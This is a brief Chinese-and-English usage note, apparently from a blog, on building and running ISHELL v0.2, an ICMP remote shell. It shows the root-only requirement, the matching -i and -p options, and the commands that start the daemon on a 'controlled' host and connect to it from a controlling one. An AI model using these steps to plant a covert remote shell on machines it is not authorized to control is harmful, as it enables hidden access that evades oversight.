需要注意两点：
1.) ISHELL uses raw sockets on both the client and server side, therefore root privileges ARE REQUIRED to use this program.
客户端和服务端需要用socket通信，需要用root权限
2.) When configuring the options for the server/client make sure the following options are the same on both the client and the server:

-i <id>
-p <packetsize>

[root@server120 ISHELL-v0.2]# make linux

被控端：
[root@vincent ISHELL-v0.2]# ./ishd -i 65535 -t 0 -p 1024
控制端：
[root@vincenthostname ISHELL-v0.2]# ./ish -i 65535 -t 0 -p 1024 172.16.100.134
